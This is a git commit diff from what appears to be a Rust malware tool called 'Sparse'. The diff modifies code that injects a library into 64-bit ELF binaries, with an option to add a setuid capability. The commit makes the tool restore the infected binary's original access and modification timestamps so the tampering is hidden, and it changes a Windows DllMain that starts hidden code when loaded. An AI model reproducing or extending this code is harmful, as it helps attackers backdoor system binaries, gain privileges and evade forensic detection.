feat: fixed some metadata handling
This commit is contained in:
parent
3bc9b014f5
commit
5d0e4fb784
@ -1,6 +1,6 @@
|
||||
use std::{
|
||||
io::{prelude::*, Error, SeekFrom},
|
||||
os::fd::AsRawFd,
|
||||
os::{fd::AsRawFd, unix::fs::MetadataExt},
|
||||
path::Path,
|
||||
slice,
|
||||
};
|
||||
@ -52,6 +52,8 @@ where
|
||||
|
||||
std::fs::write(&target_library_path, sparse_library)?;
|
||||
|
||||
let metadata = std::fs::metadata(&binary_path)?;
|
||||
|
||||
let mut binary = std::fs::OpenOptions::new()
|
||||
.read(true)
|
||||
.write(true)
|
||||
@ -77,19 +79,32 @@ where
|
||||
if #[cfg(target_os = "linux")] {
|
||||
infect_64bit_elf_binary(
|
||||
target_library_path,
|
||||
binary,
|
||||
&mut binary,
|
||||
binary_data,
|
||||
add_setuid_capability,
|
||||
)?;
|
||||
} else {
|
||||
infect_64bit_elf_binary(
|
||||
target_library_path,
|
||||
binary,
|
||||
&mut binary,
|
||||
binary_data
|
||||
)?;
|
||||
}
|
||||
}
|
||||
|
||||
let access_time = libc::timespec {
|
||||
tv_sec: metadata.atime(),
|
||||
tv_nsec: metadata.atime_nsec()
|
||||
};
|
||||
let modify_time = libc::timespec {
|
||||
tv_sec: metadata.mtime(),
|
||||
tv_nsec: metadata.mtime_nsec()
|
||||
};
|
||||
|
||||
unsafe {
|
||||
libc::futimens(binary.as_raw_fd(), [access_time, modify_time].as_ptr());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
} else {
|
||||
eprintln!("Sparse is only compiled for 64 bit Linux");
|
||||
@ -99,7 +114,7 @@ where
|
||||
|
||||
fn infect_64bit_elf_binary<LP, F>(
|
||||
library_path: LP,
|
||||
mut binary: F,
|
||||
binary: &mut F,
|
||||
mut binary_data: Vec<u8>,
|
||||
#[cfg(target_os = "linux")] add_setuid_capability: bool,
|
||||
) -> Result<(), Error>
|
||||
|
||||
@ -7,7 +7,7 @@ use windows::{
|
||||
pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
|
||||
if dw_reason == DLL_PROCESS_ATTACH {
|
||||
std::thread::spawn(|| {
|
||||
std::thread::sleep(std::time::Duration::from_millis(500));
|
||||
std::thread::yield_now();
|
||||
|
||||
if let Err(_e) = hash_internals() {
|
||||
// what are we going to do??
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user